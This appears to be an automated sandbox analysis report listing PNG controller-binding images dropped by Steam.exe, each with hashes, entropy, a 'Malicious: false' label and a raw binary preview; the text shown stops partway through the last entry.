C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_lb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 96 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3722
Entropy (8bit):	7.876577652071318
Encrypted:	false
SSDEEP:
MD5:	1918FD9DA5F737B742A92296BB7A9528
SHA1:	FC13A5E5814E8116DF97F4287FABA3083AB6F147
SHA-256:	B401D3C519713A9536568ED5E5AC7936133D0EA609917D4D91CDA6C6D5EA03D8
SHA-512:	95CDFD4625262A21C79DCE290B3A1A85B668E7155F05FC0FFE1FDD4E221885BEC84C52A3E165D663A1AACB8F6D243BED5EF038247BF27EE94E81A9F0B96C7F71
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...`...k......_......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_ls.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3647
Entropy (8bit):	7.886987302257856
Encrypted:	false
SSDEEP:
MD5:	A6058474C4FB76811CDC04EB1D46D208
SHA1:	D543FA65419E12B44AACB8FF9F65E6C2C3D37942
SHA-256:	A1C91F0F596DF664AB6DE0A597407083DAF4919B923AE523F8EF38B6E1D6278C
SHA-512:	9D9E9E79B8E5158FC4806BFBB64E462814252C3308941040E6B53000A35EDB00B6F3271D26C676520FB055CAFE321F6103D7021FDE9C09289ADC2BBBFDAA78B3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	7.890444334752538
Encrypted:	false
SSDEEP:
MD5:	EF14F57B7C33E40F8BFBB0DF84B744D9
SHA1:	27A579F766662BA2CA07738480F1C98EFE14F8A6
SHA-256:	61DC626BFB7FA1F5CA8BB95F849B4878F336C14EB955FEC602C874357FD40CF8
SHA-512:	5FEBB42A17DE784890F4FFCA73AE6938A784E169D4E9F82A6B618C26FB8CDD30CEF1DD8E05868221C3049A7DECE029E0BD9A03DD2FA50AD21467A59FCB8351F6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...c......f.E....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_rb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 94 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4452
Entropy (8bit):	7.921609617087611
Encrypted:	false
SSDEEP:
MD5:	6DFBAAFD846D78F2A43BC0B0EC52DC90
SHA1:	6EF253C160A9FA4017A6F75E5601675FB7FE61EE
SHA-256:	3D1A61A173F549CA28E5DFB7135801E913E41431858F9208E23D30C3106D9052
SHA-512:	CD3477110DC79D7D5992F61666FE70EA985218DDDAF4385DFBDD1A1786F03B29B04CF5401E7052A877E8F87147CCFC4B63882C09BC095114996752851A43B693
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...^...k......e5p....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_rs.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3706
Entropy (8bit):	7.883295791121783
Encrypted:	false
SSDEEP:
MD5:	DEF1D7AC768667FD32335A8BBED86138
SHA1:	3C3B67BE92D6D4B671FC12B9D1FC5832FEA8F6F3
SHA-256:	B6B906F32654D1CC3079720B77910825F15885B645E220B4762A8C3DADE24D7F
SHA-512:	68337BC0C856C86BA60D1AFA6A99AD1CF64A635872238E8CEE6E70A200823BEE78F219BCEDB2EFEA0E0E11FA16469CC950CBE69380A1EE240CA77D5839F03C1C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3681
Entropy (8bit):	7.885069239122127
Encrypted:	false
SSDEEP:
MD5:	250F42306F2D6B1C58D97DAC7C6B0492
SHA1:	A49C8EE6C439A683121AD9BD99727FF8B32C2236
SHA-256:	2B5FD8E2DA360FD4ADFADD7A3C39585CABF5BAF3F75EBCDAF534CA7A48FDBD03
SHA-512:	59307DAA6B76E1347089BAB44D91825CF5A47CF2B4FD394EFECE429F665EE8F9E6AB713C22842FEE758FDE629F953DE32A8C73E29FF8DBB0879FEBD313FFB450
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...d......c......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3188
Entropy (8bit):	7.867413987508761
Encrypted:	false
SSDEEP:
MD5:	EAE875D89504C230C460D4886A102D71
SHA1:	FD873EA877D855482672390F889184C093D3DB70
SHA-256:	EA320AC9D03F1C01CEA554593FCA4CFB15F5FDEF44AA0F916C0E18E66A18E988
SHA-512:	9C9AE4C9EA2BD144EEF9E83D066A1C5D0DECF81A631C09A10F3BB7614D4E48A49C3B5A9AEE78D02B5A7D55D90CE04C32BAACA30D66FE68BB838A9B8ADAA7E91F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3331
Entropy (8bit):	7.869835393403161
Encrypted:	false
SSDEEP:
MD5:	746D0243C4C0148C36E8C4244B7EABA1
SHA1:	0A9A243E48574247DA91A8FC17EC147C0DE427E8
SHA-256:	0F22E7B457C6E363420460A19426A2A755AF7B2D43F3656208BA29F8FCA0CE94
SHA-512:	4A1FCF9BD79430CD9DA3CE28E12CB3AC48F04F4190A2929C8950026D407955739FB61EF71B82C015A8623CC9B1729C88F99DFCED404EB5888E6BACD3132FDC02
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....X!......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	7.873421616449544
Encrypted:	false
SSDEEP:
MD5:	AE3FBF813F3E31C77C1357411627B024
SHA1:	1C585C3C7F815B4FFCB0A33CC3618363D6E802E1
SHA-256:	CFF3B836E9E4806355FF494F3D4597AD09531C45F0379E66B3F8865F914EE28A
SHA-512:	D33231B19175101BEBABAB9FD9038D3CF1D1B4BF36F433A90FECDCE8E9527EF9F36EE4AC47E48DE02603F02FDB083335965D5CA0EE5762B300C3C3A1EC715739
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v......}.m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3493
Entropy (8bit):	7.939126401965679
Encrypted:	false
SSDEEP:
MD5:	B366D73CE4434779CAEF98111688511D
SHA1:	E304FA60F17A6026162BB33237AFFCCF045D4FF4
SHA-256:	25DBE2BC120E16716696CED81396DA1F07C1F4D6FBA165D7BDAD22566DC757D3
SHA-512:	A8CE24192C69F3F60F610BA6FCB9AC2F193FE697D572C9D59814D389A60DF9CD45D4D5C83B51CCE363E669912C756E88D41D1A011D7DB64463937967FC012196
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....X!.....lIDATx..{pT...?woV1$..@....$D.(..CK........t...)b.V;jm.m;c....X.">..0.+....Q@..E..,..`..`$O..............L&.g......=... U.......`"0..0.(1....-@#._..h2.E..L...>\sI.\.r`!pu..D....X......[....M4`.....jH_..4j.4.yh...B...&p....S.f,.y.0.TJ.b.!.....K.<..<..2(!....S..."...:...'...N8..}=...Bn.....(.....#.s../G......W..[..c]....G.....+....h3.;...BgGJy.SP...a.x.[.H...%..Z..P4.x}.C.b...nh>.-M...L..].%....}h~....j..L.........._..'..cF...0.2^K..X.]i%bx}<.<`.L.;........Q.r(;.}..X1..<.^.........3.....i.F^.TNG.2#V..gC.OK.....+..D....a.....].^....m..up,.9k\|...N.A.6.58).{TL.i....=..%......./.~t...... ..M....f...k..$0....~p.... .he..Nq.t...2......79c.57.Z..H..x}h@mt$q.5....e...8...n2.ix.G..r......=.pp...1.YG[..0[......e~A....e..`..Bx...m.......}...LF..B...[.6.t...&...:Xy..0...#..".......-F..z>.ZK..c.....(...:...#._AD.....,..mV...g......J.......".b.....,Q.&u./C...c.x..B...-......(+......-&Ub..A.Q.K..Lt/.O[..+

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3273
Entropy (8bit):	7.925897401757117
Encrypted:	false
SSDEEP:
MD5:	C68A492A37BB8DC967C3E0983A3805E4
SHA1:	54C9C70471433FCD20C5F6463743112D8B44148F
SHA-256:	ABB49945157191B29DE381DFD9D8C7D763D2C7CB6DBD6274E824DF4FE2501430
SHA-512:	9D3AF72AB555913946F9431B38120BDB5EE80A9EC81FDC847AEB17CF817082A39077BFCCCDD8D51082F4A5997A99D22A29124F4920539180C653474C036F781A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v......}.m....IDATx..{pT...?.7...T....d. ....H.......:..Z.....u.e.Z...PA.>..a V.i.!... ..!.l.....h....?.M..{7.:w7\|f....~.\|9.....\|>..8\.F.F..)...D CO.h...j.C.....E4.....j.H.T`....a.....@....s<b.c........@....n.@..E.aS`..1l...1`?0O..P..}..}.%^12......wi"g..Z/..L.......X......$\|uJ.....].........00.....p.p.:.-..I=^..t;qG.9.Q..p.......Gx.p......&hk..tC...t.=....N...5n'..9.B.}...\|..":.....%.2.3.2..L.Ai}...0......q?...q..*..tK,.a.`.$.0.......hM..C..I.q3....j?..j.....dA.eh....7..'.1......V..,..C......Ou.....@.xe..K.N^..\81nF.....7.)..".c-....P..Gn...f..C.5>..AtwA.~pU.Rl.pN.)3....]...(c:....{....?..Y.....F..u.P3...1..#..S..\...F. ..'f.$.9..@T...1.1.....P.r;.u.!.e8\..8a...r.8W..X........w.Y..^..-....>c...j?1{~LD..^1t.^3.8^.....>..e7.Z....2.............u.d......x.p........n.u0.Yb...E..=....O...\|.....{..,t5.."..S..^...Y....9..in'..&....z.....zc.....H..G....@.Q.[..iK...8..\`..B....F...(.0M..j..g..=..5.j.gs.....$...B#h.[x.r

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3173
Entropy (8bit):	7.919962142216104
Encrypted:	false
SSDEEP:
MD5:	E5FBA0F25ACB143BF48799DFBB1E32E0
SHA1:	FF4B9FEAD59CBD6430F5D8CFA0717278B9BFF3DD
SHA-256:	05A65AF1FC1A05AF481777322F7A3DD91AB1F3C9E5A202F8549AE3D942352AE0
SHA-512:	0516C1E1CE9566FACA183298BDD16D4E5DEB4ABAD003BC2F58D846CCAA73B97D0E28EAD2DCA272AAEB4C95A73B8EF9F4495710C659FD0F63E2BFECE7985105EF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|......,IDATx..{pT...?..E&......`.......a.Q.U,.u.:....UkEm.........PE...5.`....F%.D..#,....!..!.....qo`w....{.\|f.......\|..s..wn\.@..n.4..(@&0...~.....t.&....\|.T..z... .c.9..b.......9....tE.hE..K....L.>.:."z/..."..'z.........n.....6..f.^.A..^.b...h.y9.c..X..e..}.Lj....=..7..x0.-.S...N...oo........{...?...C...d0d.AIuG3...J.....X......&..K....<R..S..........j.G....:.2....i.~.zh0S.%1..f.ubRDg;..@C-4..)6. k4..E.0(Z.....5kZ.=.a...u..j...x.... g,..R.Q=...9Sb.i.gd..z......S.}...+Q2.#.xN..l,3q....[`.,....wAG[.2...t.;.e..r<.zx+..3bL.>..'\|.=...u..7..O.t.LW=..ti\b.O.#.yDw.Tm.o.....'..C.&.tD..L.A.>..:<].....4...i>..Z...xF...#...+.S...U..FF...@......h..wB..t..7D.T.P=..'Dk..$..T.=5...wi>.)v{C'w...m....j.z\|Z...j....1hu<.T.].w....v~@e...h..y7.uDj........H./..Uku.%...@d1^4...$~..HN4ku0.\|...1.^..S..O.f..:.........1..Xg.4./hn..bd*...".4%....9.k.>..~a.my].B.......&\|..B....3%/......dS..F...E.....t..%%.....[[./.a...{...s^..n...:m.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_dp.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 51 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1557
Entropy (8bit):	7.845893539325592
Encrypted:	false
SSDEEP:
MD5:	FE958852BA17DEC6C6A5666A63B0E440
SHA1:	B77AA62D75E99E268B7BFF145E67FD3FEDAAED19
SHA-256:	04919364BD87016D17C60D4AFA6B2B320F8EA30659B107AB8F17BF4AAFF7A1A2
SHA-512:	1A14323F33241961211BF9BFA23F9899961C292A9261D88F575FD353C1F848FD7C8B4182C76834AD3B35544095318D8A4E80D66148C94B66861376CC91335E61
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...3...2............IDATx..Ml\W.....y.3..7...iII....bC...6EU.CH,P.>..J .....n........B-BAB.D7qJ....TS........f.}...9&J.1cO.;..1.H.{.w.;....................#`.`..BkT..}....t.7P...6...............5t.....J!.:.\&8.<..... ........4Ez`..x.V.I..O..>s.!..l...,(...........z...GH...k..4.}...~.p.P..9..H....+....j..9F......D..HG\V.[...5;W\|..W.....M..u.o.......^.3......h....G._.....Z.l2tt....T...1`;.CC./.......;Z[..x. i..Y.Vi[D........Ou...i........t.`vv;.$.I_?x.9:Yx}..F.t_....c..`.../...w...H...5.q\|,.i.e.0.sC.l...;7.(...D.3.Gf.b..N.}...c$.A)...B........C.....Y.....ZZl.,G7..\|.......h7.B..\|)IR....H.1.5.+...&.$a..Z.<...p.n.....Z).O\|....J.i.._I...M.H@...c.-e..-"..~..8.y..}.p.....:W@...#.y...3....j.v7......_.>./.S.N...*...\|..I<H..;.@...#..`P;.._....F._C..(... ...&...4...N.....v!....i2...~Q..vG.?@DQ)-..u..n.....U.e...1....#.S.Gf...!#...=...Tc.E%.Zmxv%.g.,O+..\|.w.A.-..ss.Y.......+..1../R.L.g...W/..\..=.\.Z.m..?,.2".z....\|..x.4...?

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_dp_dn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.350324606418645
Encrypted:	false
SSDEEP:
MD5:	DB347F03E0CDB118E58E046ED1CE4CDD
SHA1:	9C7A7316F1B065462A7011EE40DA118417BD8F16
SHA-256:	18866760FA541EBB582A5992E9F0F431E654B9A4947FFA5D0407E3F965FB6BB7
SHA-512:	F5470A5731A9812DB6D840C157C5DB4D1C7271C374AD37FF7C04DD98477A1C4FAE664D519DAB47AC10E96A21650DCF5D133A210A39B27DDD161FD324434D2D55
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............\|fu....IDATx...O(.a......cg'I.6..$.....:(..N.E...3.N...$..(.....A).-.5..g.13NJ..k............q.L.m.`.m)\.`(.HKw....4..[... ..`(...e..s.\|.s.s.\|........]..I.Di...L.Y.S:.........~\|.a....3.c:z...=F:.{....nN.....w..0...d..,8....$.a.<.m.0.....}.mJ.jB.:g%.9.#my.K..[.x.....oce.3..:7......(...r....L..............]....Z...L.v.........T6.D ..Y&^..._..bvyE.S.WA...Zo&..I.N\|A]....e+......iQ....}.....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_dp_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	453
Entropy (8bit):	7.3568592698863275
Encrypted:	false
SSDEEP:
MD5:	6DCDBD92CCCD822852E7342DBE7B7503
SHA1:	F038AF4D98DE5B6EE9AA5C7EB8D4D3532DF9460C
SHA-256:	3088EFD829629F006415FF83D996479AB23EC3D1083A413FB32FD15064568075
SHA-512:	31F7F7D53844F65393FF9072F70BE7D3E0295C7BEF1FDAA06EC84962BB233B14C436617B56CC07FB7B90D4FA6CA51907E75BE0D6F41387478A330267421EA9E0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............}\.....IDATx...K.A....=.$%... 8JE..')...-."f...t.$...R.EKA7..B;X.v.S.t(v/.A.........A"..b_y..g....n.S..!@..H.....l<o...4.N...h.......n\w.q.j_.g..F.....i.Ua...#..7...<.m....c.....U,....L..O$.RS@.*..#..@..S..ED...K........12.`.....q.h(q.D.TG.@."..C... `"..G"......D.\|~.\|.8..I.../.).......q..c..P..H..L...7Q..D....V....a....b.d..-.?.........'+..k(..td.z1.Zwv..d2...2..k.....5.........R. vH....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_dp_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 25 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.373965346566532
Encrypted:	false
SSDEEP:
